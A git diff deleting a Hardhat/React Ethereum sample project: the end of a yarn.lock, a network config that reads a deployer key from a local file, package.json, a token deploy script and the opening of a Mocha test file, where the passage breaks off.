-  integrity sha1-wdjRSTFtPqhShIiVy2oL/oh7h98=
-  dependencies:
-    minimalistic-assert "^1.0.0"
-
-webidl-conversions@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/webidl-conversions/download/webidl-conversions-4.0.2.tgz#a855980b1f0b6b359ba1d5d9fb39ae941faa63ad"
-  integrity sha1-qFWYCx8LazWbodXZ+zmulB+qY60=
-
-webpack-dev-middleware@^3.7.2:
-  version "3.7.3"
-  resolved "https://registry.nlark.com/webpack-dev-middleware/download/webpack-dev-middleware-3.7.3.tgz?cache=0&sync_timestamp=1622642128013&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwebpack-dev-middleware%2Fdownload%2Fwebpack-dev-middleware-3.7.3.tgz#0639372b143262e2b84ab95d3b91a7597061c2c5"
-  integrity sha1-Bjk3KxQyYuK4SrldO5GnWXBhwsU=
-  dependencies:
-    memory-fs "^0.4.1"
-    mime "^2.4.4"
-    mkdirp "^0.5.1"
-    range-parser "^1.2.1"
-    webpack-log "^2.0.0"
-
-webpack-dev-server@3.10.3:
-  version "3.10.3"
-  resolved "https://registry.nlark.com/webpack-dev-server/download/webpack-dev-server-3.10.3.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwebpack-dev-server%2Fdownload%2Fwebpack-dev-server-3.10.3.tgz#f35945036813e57ef582c2420ef7b470e14d3af0"
-  integrity sha1-81lFA2gT5X71gsJCDve0cOFNOvA=
-  dependencies:
-    ansi-html "0.0.7"
-    bonjour "^3.5.0"
-    chokidar "^2.1.8"
-    compression "^1.7.4"
-    connect-history-api-fallback "^1.6.0"
-    debug "^4.1.1"
-    del "^4.1.1"
-    express "^4.17.1"
-    html-entities "^1.2.1"
-    http-proxy-middleware "0.19.1"
-    import-local "^2.0.0"
-    internal-ip "^4.3.0"
-    ip "^1.1.5"
-    is-absolute-url "^3.0.3"
-    killable "^1.0.1"
-    loglevel "^1.6.6"
-    opn "^5.5.0"
-    p-retry "^3.0.1"
-    portfinder "^1.0.25"
-    schema-utils "^1.0.0"
-    selfsigned "^1.10.7"
-    semver "^6.3.0"
-    serve-index "^1.9.1"
-    sockjs "0.3.19"
-    sockjs-client "1.4.0"
-    spdy "^4.0.1"
-    strip-ansi "^3.0.1"
-    supports-color "^6.1.0"
-    url "^0.11.0"
-    webpack-dev-middleware "^3.7.2"
-    webpack-log "^2.0.0"
-    ws "^6.2.1"
-    yargs "12.0.5"
-
-webpack-log@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/webpack-log/download/webpack-log-2.0.0.tgz?cache=0&sync_timestamp=1615477439589&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwebpack-log%2Fdownload%2Fwebpack-log-2.0.0.tgz#5b7928e0637593f119d32f6227c1e0ac31e1b47f"
-  integrity sha1-W3ko4GN1k/EZ0y9iJ8HgrDHhtH8=
-  dependencies:
-    ansi-colors "^3.0.0"
-    uuid "^3.3.2"
-
-webpack-manifest-plugin@2.2.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/webpack-manifest-plugin/download/webpack-manifest-plugin-2.2.0.tgz#19ca69b435b0baec7e29fbe90fb4015de2de4f16"
-  integrity sha1-GcpptDWwuux+KfvpD7QBXeLeTxY=
-  dependencies:
-    fs-extra "^7.0.0"
-    lodash ">=3.5 <5"
-    object.entries "^1.1.0"
-    tapable "^1.0.0"
-
-webpack-sources@^1.1.0, webpack-sources@^1.4.0, webpack-sources@^1.4.1, webpack-sources@^1.4.3:
-  version "1.4.3"
-  resolved "https://registry.nlark.com/webpack-sources/download/webpack-sources-1.4.3.tgz?cache=0&sync_timestamp=1622110325575&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwebpack-sources%2Fdownload%2Fwebpack-sources-1.4.3.tgz#eedd8ec0b928fbf1cbfe994e22d2d890f330a933"
-  integrity sha1-7t2OwLko+/HL/plOItLYkPMwqTM=
-  dependencies:
-    source-list-map "^2.0.0"
-    source-map "~0.6.1"
-
-webpack@4.42.0:
-  version "4.42.0"
-  resolved "https://registry.nlark.com/webpack/download/webpack-4.42.0.tgz?cache=0&sync_timestamp=1622150278226&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwebpack%2Fdownload%2Fwebpack-4.42.0.tgz#b901635dd6179391d90740a63c93f76f39883eb8"
-  integrity sha1-uQFjXdYXk5HZB0CmPJP3bzmIPrg=
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/helper-module-context" "1.8.5"
-    "@webassemblyjs/wasm-edit" "1.8.5"
-    "@webassemblyjs/wasm-parser" "1.8.5"
-    acorn "^6.2.1"
-    ajv "^6.10.2"
-    ajv-keywords "^3.4.1"
-    chrome-trace-event "^1.0.2"
-    enhanced-resolve "^4.1.0"
-    eslint-scope "^4.0.3"
-    json-parse-better-errors "^1.0.2"
-    loader-runner "^2.4.0"
-    loader-utils "^1.2.3"
-    memory-fs "^0.4.1"
-    micromatch "^3.1.10"
-    mkdirp "^0.5.1"
-    neo-async "^2.6.1"
-    node-libs-browser "^2.2.1"
-    schema-utils "^1.0.0"
-    tapable "^1.1.3"
-    terser-webpack-plugin "^1.4.3"
-    watchpack "^1.6.0"
-    webpack-sources "^1.4.1"
-
-websocket-driver@>=0.5.1:
-  version "0.7.4"
-  resolved "https://registry.nlark.com/websocket-driver/download/websocket-driver-0.7.4.tgz#89ad5295bbf64b480abcba31e4953aca706f5760"
-  integrity sha1-ia1Slbv2S0gKvLox5JU6ynBvV2A=
-  dependencies:
-    http-parser-js ">=0.5.1"
-    safe-buffer ">=5.1.0"
-    websocket-extensions ">=0.1.1"
-
-websocket-extensions@>=0.1.1:
-  version "0.1.4"
-  resolved "https://registry.npm.taobao.org/websocket-extensions/download/websocket-extensions-0.1.4.tgz#7f8473bc839dfd87608adb95d7eb075211578a42"
-  integrity sha1-f4RzvIOd/YdgituV1+sHUhFXikI=
-
-whatwg-encoding@^1.0.1, whatwg-encoding@^1.0.3, whatwg-encoding@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.nlark.com/whatwg-encoding/download/whatwg-encoding-1.0.5.tgz#5abacf777c32166a51d085d6b4f3e7d27113ddb0"
-  integrity sha1-WrrPd3wyFmpR0IXWtPPn0nET3bA=
-  dependencies:
-    iconv-lite "0.4.24"
-
-whatwg-fetch@^3.0.0:
-  version "3.6.2"
-  resolved "https://registry.npm.taobao.org/whatwg-fetch/download/whatwg-fetch-3.6.2.tgz?cache=0&sync_timestamp=1614452314097&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwhatwg-fetch%2Fdownload%2Fwhatwg-fetch-3.6.2.tgz#dced24f37f2624ed0281725d51d0e2e3fe677f8c"
-  integrity sha1-3O0k838mJO0CgXJdUdDi4/5nf4w=
-
-whatwg-mimetype@^2.1.0, whatwg-mimetype@^2.2.0, whatwg-mimetype@^2.3.0:
-  version "2.3.0"
-  resolved "https://registry.npm.taobao.org/whatwg-mimetype/download/whatwg-mimetype-2.3.0.tgz#3d4b1e0312d2079879f826aff18dbeeca5960fbf"
-  integrity sha1-PUseAxLSB5h5+Cav8Y2+7KWWD78=
-
-whatwg-url@^6.4.1:
-  version "6.5.0"
-  resolved "https://registry.nlark.com/whatwg-url/download/whatwg-url-6.5.0.tgz#f2df02bff176fd65070df74ad5ccbb5a199965a8"
-  integrity sha1-8t8Cv/F2/WUHDfdK1cy7WhmZZag=
-  dependencies:
-    lodash.sortby "^4.7.0"
-    tr46 "^1.0.1"
-    webidl-conversions "^4.0.2"
-
-whatwg-url@^7.0.0:
-  version "7.1.0"
-  resolved "https://registry.nlark.com/whatwg-url/download/whatwg-url-7.1.0.tgz#c2c492f1eca612988efd3d2266be1b9fc6170d06"
-  integrity sha1-wsSS8eymEpiO/T0iZr4bn8YXDQY=
-  dependencies:
-    lodash.sortby "^4.7.0"
-    tr46 "^1.0.1"
-    webidl-conversions "^4.0.2"
-
-which-boxed-primitive@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/which-boxed-primitive/download/which-boxed-primitive-1.0.2.tgz#13757bc89b209b049fe5d86430e21cf40a89a8e6"
-  integrity sha1-E3V7yJsgmwSf5dhkMOIc9AqJqOY=
-  dependencies:
-    is-bigint "^1.0.1"
-    is-boolean-object "^1.1.0"
-    is-number-object "^1.0.4"
-    is-string "^1.0.5"
-    is-symbol "^1.0.3"
-
-which-module@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/which-module/download/which-module-2.0.0.tgz#d9ef07dce77b9902b8a3a8fa4b31c3e3f7e6e87a"
-  integrity sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=
-
-which@^1.2.9, which@^1.3.0, which@^1.3.1:
-  version "1.3.1"
-  resolved "https://registry.nlark.com/which/download/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a"
-  integrity sha1-pFBD1U9YBTFtqNYvn1CRjT2nCwo=
-  dependencies:
-    isexe "^2.0.0"
-
-which@^2.0.1:
-  version "2.0.2"
-  resolved "https://registry.nlark.com/which/download/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1"
-  integrity sha1-fGqN0KY2oDJ+ELWckobu6T8/UbE=
-  dependencies:
-    isexe "^2.0.0"
-
-word-wrap@~1.2.3:
-  version "1.2.3"
-  resolved "https://registry.nlark.com/word-wrap/download/word-wrap-1.2.3.tgz#610636f6b1f703891bd34771ccb17fb93b47079c"
-  integrity sha1-YQY29rH3A4kb00dxzLF/uTtHB5w=
-
-workbox-background-sync@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-background-sync/download/workbox-background-sync-4.3.1.tgz#26821b9bf16e9e37fd1d640289edddc08afd1950"
-  integrity sha1-JoIbm/Funjf9HWQCie3dwIr9GVA=
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-broadcast-update@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-broadcast-update/download/workbox-broadcast-update-4.3.1.tgz#e2c0280b149e3a504983b757606ad041f332c35b"
-  integrity sha1-4sAoCxSeOlBJg7dXYGrQQfMyw1s=
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-build@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-build/download/workbox-build-4.3.1.tgz#414f70fb4d6de47f6538608b80ec52412d233e64"
-  integrity sha1-QU9w+01t5H9lOGCLgOxSQS0jPmQ=
-  dependencies:
-    "@babel/runtime" "^7.3.4"
-    "@hapi/joi" "^15.0.0"
-    common-tags "^1.8.0"
-    fs-extra "^4.0.2"
-    glob "^7.1.3"
-    lodash.template "^4.4.0"
-    pretty-bytes "^5.1.0"
-    stringify-object "^3.3.0"
-    strip-comments "^1.0.2"
-    workbox-background-sync "^4.3.1"
-    workbox-broadcast-update "^4.3.1"
-    workbox-cacheable-response "^4.3.1"
-    workbox-core "^4.3.1"
-    workbox-expiration "^4.3.1"
-    workbox-google-analytics "^4.3.1"
-    workbox-navigation-preload "^4.3.1"
-    workbox-precaching "^4.3.1"
-    workbox-range-requests "^4.3.1"
-    workbox-routing "^4.3.1"
-    workbox-strategies "^4.3.1"
-    workbox-streams "^4.3.1"
-    workbox-sw "^4.3.1"
-    workbox-window "^4.3.1"
-
-workbox-cacheable-response@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-cacheable-response/download/workbox-cacheable-response-4.3.1.tgz#f53e079179c095a3f19e5313b284975c91428c91"
-  integrity sha1-9T4HkXnAlaPxnlMTsoSXXJFCjJE=
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-core@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-core/download/workbox-core-4.3.1.tgz#005d2c6a06a171437afd6ca2904a5727ecd73be6"
-  integrity sha1-AF0sagahcUN6/WyikEpXJ+zXO+Y=
-
-workbox-expiration@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-expiration/download/workbox-expiration-4.3.1.tgz#d790433562029e56837f341d7f553c4a78ebe921"
-  integrity sha1-15BDNWICnlaDfzQdf1U8Snjr6SE=
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-google-analytics@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-google-analytics/download/workbox-google-analytics-4.3.1.tgz#9eda0183b103890b5c256e6f4ea15a1f1548519a"
-  integrity sha1-ntoBg7EDiQtcJW5vTqFaHxVIUZo=
-  dependencies:
-    workbox-background-sync "^4.3.1"
-    workbox-core "^4.3.1"
-    workbox-routing "^4.3.1"
-    workbox-strategies "^4.3.1"
-
-workbox-navigation-preload@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-navigation-preload/download/workbox-navigation-preload-4.3.1.tgz#29c8e4db5843803b34cd96dc155f9ebd9afa453d"
-  integrity sha1-Kcjk21hDgDs0zZbcFV+evZr6RT0=
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-precaching@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-precaching/download/workbox-precaching-4.3.1.tgz#9fc45ed122d94bbe1f0ea9584ff5940960771cba"
-  integrity sha1-n8Re0SLZS74fDqlYT/WUCWB3HLo=
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-range-requests@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-range-requests/download/workbox-range-requests-4.3.1.tgz#f8a470188922145cbf0c09a9a2d5e35645244e74"
-  integrity sha1-+KRwGIkiFFy/DAmpotXjVkUkTnQ=
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-routing@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-routing/download/workbox-routing-4.3.1.tgz#a675841af623e0bb0c67ce4ed8e724ac0bed0cda"
-  integrity sha1-pnWEGvYj4LsMZ85O2OckrAvtDNo=
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-strategies@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-strategies/download/workbox-strategies-4.3.1.tgz#d2be03c4ef214c115e1ab29c9c759c9fe3e9e646"
-  integrity sha1-0r4DxO8hTBFeGrKcnHWcn+Pp5kY=
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-streams@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-streams/download/workbox-streams-4.3.1.tgz#0b57da70e982572de09c8742dd0cb40a6b7c2cc3"
-  integrity sha1-C1facOmCVy3gnIdC3Qy0Cmt8LMM=
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-sw@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-sw/download/workbox-sw-4.3.1.tgz#df69e395c479ef4d14499372bcd84c0f5e246164"
-  integrity sha1-32njlcR5700USZNyvNhMD14kYWQ=
-
-workbox-webpack-plugin@4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-webpack-plugin/download/workbox-webpack-plugin-4.3.1.tgz#47ff5ea1cc074b6c40fb5a86108863a24120d4bd"
-  integrity sha1-R/9eocwHS2xA+1qGEIhjokEg1L0=
-  dependencies:
-    "@babel/runtime" "^7.0.0"
-    json-stable-stringify "^1.0.1"
-    workbox-build "^4.3.1"
-
-workbox-window@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/workbox-window/download/workbox-window-4.3.1.tgz#ee6051bf10f06afa5483c9b8dfa0531994ede0f3"
-  integrity sha1-7mBRvxDwavpUg8m436BTGZTt4PM=
-  dependencies:
-    workbox-core "^4.3.1"
-
-worker-farm@^1.7.0:
-  version "1.7.0"
-  resolved "https://registry.nlark.com/worker-farm/download/worker-farm-1.7.0.tgz?cache=0&sync_timestamp=1618846953836&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fworker-farm%2Fdownload%2Fworker-farm-1.7.0.tgz#26a94c5391bbca926152002f69b84a4bf772e5a8"
-  integrity sha1-JqlMU5G7ypJhUgAvabhKS/dy5ag=
-  dependencies:
-    errno "~0.1.7"
-
-worker-rpc@^0.1.0:
-  version "0.1.1"
-  resolved "https://registry.npm.taobao.org/worker-rpc/download/worker-rpc-0.1.1.tgz#cb565bd6d7071a8f16660686051e969ad32f54d5"
-  integrity sha1-y1Zb1tcHGo8WZgaGBR6WmtMvVNU=
-  dependencies:
-    microevent.ts "~0.1.1"
-
-wrap-ansi@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/wrap-ansi/download/wrap-ansi-2.1.0.tgz#d8fc3d284dd05794fe84973caecdd1cf824fdd85"
-  integrity sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=
-  dependencies:
-    string-width "^1.0.1"
-    strip-ansi "^3.0.1"
-
-wrap-ansi@^5.1.0:
-  version "5.1.0"
-  resolved "https://registry.npm.taobao.org/wrap-ansi/download/wrap-ansi-5.1.0.tgz#1fd1f67235d5b6d0fee781056001bfb694c03b09"
-  integrity sha1-H9H2cjXVttD+54EFYAG/tpTAOwk=
-  dependencies:
-    ansi-styles "^3.2.0"
-    string-width "^3.0.0"
-    strip-ansi "^5.0.0"
-
-wrappy@1:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/wrappy/download/wrappy-1.0.2.tgz?cache=0&sync_timestamp=1619133505879&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwrappy%2Fdownload%2Fwrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
-  integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
-
-write-file-atomic@2.4.1:
-  version "2.4.1"
-  resolved "https://registry.nlark.com/write-file-atomic/download/write-file-atomic-2.4.1.tgz?cache=0&sync_timestamp=1618847057132&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwrite-file-atomic%2Fdownload%2Fwrite-file-atomic-2.4.1.tgz#d0b05463c188ae804396fd5ab2a370062af87529"
-  integrity sha1-0LBUY8GIroBDlv1asqNwBir4dSk=
-  dependencies:
-    graceful-fs "^4.1.11"
-    imurmurhash "^0.1.4"
-    signal-exit "^3.0.2"
-
-write@1.0.3:
-  version "1.0.3"
-  resolved "https://registry.nlark.com/write/download/write-1.0.3.tgz#0800e14523b923a387e415123c865616aae0f5c3"
-  integrity sha1-CADhRSO5I6OH5BUSPIZWFqrg9cM=
-  dependencies:
-    mkdirp "^0.5.1"
-
-ws@^5.2.0:
-  version "5.2.3"
-  resolved "https://registry.nlark.com/ws/download/ws-5.2.3.tgz#05541053414921bc29c63bee14b8b0dd50b07b3d"
-  integrity sha1-BVQQU0FJIbwpxjvuFLiw3VCwez0=
-  dependencies:
-    async-limiter "~1.0.0"
-
-ws@^6.1.2, ws@^6.2.1:
-  version "6.2.2"
-  resolved "https://registry.nlark.com/ws/download/ws-6.2.2.tgz#dd5cdbd57a9979916097652d78f1cc5faea0c32e"
-  integrity sha1-3Vzb1XqZeZFgl2UtePHMX66gwy4=
-  dependencies:
-    async-limiter "~1.0.0"
-
-xml-name-validator@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/xml-name-validator/download/xml-name-validator-3.0.0.tgz#6ae73e06de4d8c6e47f9fb181f78d648ad457c6a"
-  integrity sha1-auc+Bt5NjG5H+fsYH3jWSK1FfGo=
-
-xmlchars@^2.1.1:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/xmlchars/download/xmlchars-2.2.0.tgz#060fe1bcb7f9c76fe2a17db86a9bc3ab894210cb"
-  integrity sha1-Bg/hvLf5x2/ioX24apvDq4lCEMs=
-
-xregexp@^4.3.0:
-  version "4.4.1"
-  resolved "https://registry.nlark.com/xregexp/download/xregexp-4.4.1.tgz#c84a88fa79e9ab18ca543959712094492185fe65"
-  integrity sha1-yEqI+nnpqxjKVDlZcSCUSSGF/mU=
-  dependencies:
-    "@babel/runtime-corejs3" "^7.12.1"
-
-xtend@^4.0.0, xtend@~4.0.1:
-  version "4.0.2"
-  resolved "https://registry.npm.taobao.org/xtend/download/xtend-4.0.2.tgz#bb72779f5fa465186b1f438f674fa347fdb5db54"
-  integrity sha1-u3J3n1+kZRhrH0OPZ0+jR/2121Q=
-
-"y18n@^3.2.1 || ^4.0.0", y18n@^4.0.0:
-  version "4.0.3"
-  resolved "https://registry.npm.taobao.org/y18n/download/y18n-4.0.3.tgz?cache=0&sync_timestamp=1617822684820&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fy18n%2Fdownload%2Fy18n-4.0.3.tgz#b5f259c82cd6e336921efd7bfd8bf560de9eeedf"
-  integrity sha1-tfJZyCzW4zaSHv17/Yv1YN6e7t8=
-
-yallist@^3.0.2:
-  version "3.1.1"
-  resolved "https://registry.npm.taobao.org/yallist/download/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd"
-  integrity sha1-27fa+b/YusmrRev2ArjLrQ1dCP0=
-
-yallist@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/yallist/download/yallist-4.0.0.tgz#9bb92790d9c0effec63be73519e11a35019a3a72"
-  integrity sha1-m7knkNnA7/7GO+c1GeEaNQGaOnI=
-
-yaml@^1.7.2:
-  version "1.10.2"
-  resolved "https://registry.npm.taobao.org/yaml/download/yaml-1.10.2.tgz?cache=0&sync_timestamp=1618736097365&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fyaml%2Fdownload%2Fyaml-1.10.2.tgz#2301c5ffbf12b467de8da2333a459e29e7920e4b"
-  integrity sha1-IwHF/78StGfejaIzOkWeKeeSDks=
-
-yargs-parser@^11.1.1:
-  version "11.1.1"
-  resolved "https://registry.npm.taobao.org/yargs-parser/download/yargs-parser-11.1.1.tgz#879a0865973bca9f6bab5cbdf3b1c67ec7d3bcf4"
-  integrity sha1-h5oIZZc7yp9rq1y987HGfsfTvPQ=
-  dependencies:
-    camelcase "^5.0.0"
-    decamelize "^1.2.0"
-
-yargs-parser@^13.1.2:
-  version "13.1.2"
-  resolved "https://registry.npm.taobao.org/yargs-parser/download/yargs-parser-13.1.2.tgz#130f09702ebaeef2650d54ce6e3e5706f7a4fb38"
-  integrity sha1-Ew8JcC667vJlDVTObj5XBvek+zg=
-  dependencies:
-    camelcase "^5.0.0"
-    decamelize "^1.2.0"
-
-yargs@12.0.5:
-  version "12.0.5"
-  resolved "https://registry.nlark.com/yargs/download/yargs-12.0.5.tgz?cache=0&sync_timestamp=1620086465147&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fyargs%2Fdownload%2Fyargs-12.0.5.tgz#05f5997b609647b64f66b81e3b4b10a368e7ad13"
-  integrity sha1-BfWZe2CWR7ZPZrgeO0sQo2jnrRM=
-  dependencies:
-    cliui "^4.0.0"
-    decamelize "^1.2.0"
-    find-up "^3.0.0"
-    get-caller-file "^1.0.1"
-    os-locale "^3.0.0"
-    require-directory "^2.1.1"
-    require-main-filename "^1.0.1"
-    set-blocking "^2.0.0"
-    string-width "^2.0.0"
-    which-module "^2.0.0"
-    y18n "^3.2.1 || ^4.0.0"
-    yargs-parser "^11.1.1"
-
-yargs@^13.3.0:
-  version "13.3.2"
-  resolved "https://registry.nlark.com/yargs/download/yargs-13.3.2.tgz?cache=0&sync_timestamp=1620086465147&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fyargs%2Fdownload%2Fyargs-13.3.2.tgz#ad7ffefec1aa59565ac915f82dccb38a9c31a2dd"
-  integrity sha1-rX/+/sGqWVZayRX4Lcyzipwxot0=
-  dependencies:
-    cliui "^5.0.0"
-    find-up "^3.0.0"
-    get-caller-file "^2.0.1"
-    require-directory "^2.1.1"
-    require-main-filename "^2.0.0"
-    set-blocking "^2.0.0"
-    string-width "^3.0.0"
-    which-module "^2.0.0"
-    y18n "^4.0.0"
-    yargs-parser "^13.1.2"
diff --git a/Example09-hardhat-react/hardhat.config.js b/Example09-hardhat-react/hardhat.config.js
deleted file mode 100644
index 4d182abe3..000000000
--- a/Example09-hardhat-react/hardhat.config.js
+++ /dev/null
@@ -1,51 +0,0 @@
-require("@nomiclabs/hardhat-waffle");
-
-// The next line is part of the sample project, you don't need it in your
-// project. It imports a Hardhat task definition, that can be used for
-// testing the frontend.
-require("./tasks/faucet");
-const fs = require("fs");
-
-function mnemonic() {
-
-  return fs.readFileSync("./sk.txt").toString().trim();
- 
-}
-
-module.exports = {
-  solidity: "0.8.0",
-  networks: {
-    localhost: {
-      url: "http://localhost:8545",
-      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
-      /*
-        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
-        (you can put in a mnemonic here to set the deployer locally)
-      */
-    },
-    rinkeby: {
-      url: "https://rinkeby.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-      mnemonic()
-      ],
-    },
-    kovan: {
-      url: "https://kovan.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    mainnet: {
-      url: "https://mainnet.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    ropsten: {
-      url: "https://ropsten.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-  }
-};
diff --git a/Example09-hardhat-react/package.json b/Example09-hardhat-react/package.json
deleted file mode 100644
index bb3ac0405..000000000
--- a/Example09-hardhat-react/package.json
+++ /dev/null
@@ -1,35 +0,0 @@
-{
-  "name": "hardhat-hackathon-boilerplate",
-  "version": "1.0.0",
-  "description": "A boilerplate repository to get you started with Hardhat and Ethereum development",
-  "directories": {
-    "test": "test"
-  },
-  "scripts": {
-    "test": "hardhat test"
-  },
-  "repository": {
-    "type": "git",
-    "url": "git+https://github.com/nomiclabs/hardhat-hackathon-boilerplate.git"
-  },
-  "keywords": [
-    "hardhat",
-    "ethereum",
-    "hackathon"
-  ],
-  "author": "Nomic Labs",
-  "license": "MIT",
-  "bugs": {
-    "url": "https://github.com/nomiclabs/hardhat-hackathon-boilerplate/issues"
-  },
-  "homepage": "https://github.com/nomiclabs/hardhat-hackathon-boilerplate#readme",
-  "devDependencies": {
-    "@nomiclabs/hardhat-ethers": "^2.0.0",
-    "@nomiclabs/hardhat-waffle": "^2.0.0",
-    "chai": "^4.2.0",
-    "ethereum-waffle": "^3.1.1",
-    "ethers": "^5.0.0",
-    "hardhat": "^2.0.4",
-    "husky": "^4.2.5"
-  }
-}
diff --git a/Example09-hardhat-react/scripts/deploy.js b/Example09-hardhat-react/scripts/deploy.js
deleted file mode 100644
index 8b95858db..000000000
--- a/Example09-hardhat-react/scripts/deploy.js
+++ /dev/null
@@ -1,63 +0,0 @@
-// This is a script for deploying your contracts. You can adapt it to deploy
-// yours, or create new ones.
-async function main() {
-  // This is just a convenience check
-  if (network.name === 'hardhat') {
-    console.warn(
-      'You are trying to deploy a contract to the Hardhat Network, which' +
-        'gets automatically created and destroyed every time. Use the Hardhat' +
-        " option '--network localhost'"
-    )
-  }
-
-  // ethers is avaialble in the global scope
-  const [deployer] = await ethers.getSigners()
-  console.log(
-    'Deploying the contracts with the account:',
-    await deployer.getAddress()
-  )
-
-  console.log('Account balance:', (await deployer.getBalance()).toString())
-
-  const Token = await ethers.getContractFactory('SimpleToken')
-  const token = await Token.deploy('Hello', 'Token', 1, 10000)
-  await token.deployed()
-
-  console.log('SimpleToken address:', token.address)
-
-  // We also save the contract's artifacts and address in the frontend directory
-  saveFrontendFiles(token, deployer)
-}
-
-function saveFrontendFiles(token, deployerAccount) {
-  const fs = require('fs')
-  const contractsDir = __dirname + '/../frontend/src/contracts'
-
-  if (!fs.existsSync(contractsDir)) {
-    fs.mkdirSync(contractsDir)
-  }
-
-  fs.writeFileSync(
-    contractsDir + '/contract-address.json',
-    JSON.stringify({ contractAddress: token.address }, undefined, 2)
-  )
-
-  const TokenArtifact = artifacts.readArtifactSync('SimpleToken')
-
-  fs.writeFileSync(
-    contractsDir + '/SimpleToken.json',
-    JSON.stringify(TokenArtifact, null, 2)
-  )
-
-  fs.writeFileSync(
-    contractsDir + '/deployer.json',
-    JSON.stringify({ deployer: deployerAccount }, undefined, 2)
-  )
-}
-
-main()
-  .then(() => process.exit(0))
-  .catch((error) => {
-    console.error(error)
-    process.exit(1)
-  })
diff --git a/Example09-hardhat-react/test/SimpleToken.js b/Example09-hardhat-react/test/SimpleToken.js
deleted file mode 100644
index 3ecc05d96..000000000
--- a/Example09-hardhat-react/test/SimpleToken.js
+++ /dev/null
@@ -1,118 +0,0 @@
-// This is an exmaple test file. Hardhat will run every *.js file in `test/`,
-// so feel free to add new ones.
-
-// Hardhat tests are normally written with Mocha and Chai.
-
-// We import Chai to use its asserting functions here.
-const { expect } = require('chai')
-
-// `describe` is a Mocha function that allows you to organize your tests. It's
-// not actually needed, but having your tests organized makes debugging them
-// easier. All Mocha functions are available in the global scope.
-
-// `describe` recieves the name of a section of your test suite, and a callback.
-// The callback must define the tests of that section. This callback can't be
-// an async function.
-describe('SimpleToken contract', function () {
-  // Mocha has four functions that let you hook into the the test runner's
-  // lifecyle. These are: `before`, `beforeEach`, `after`, `afterEach`.
-
-  // They're very useful to setup the environment for tests, and to clean it
-  // up after they run.
-
-  // A common pattern is to declare some variables, and assign them in the
-  // `before` and `beforeEach` callbacks.
-
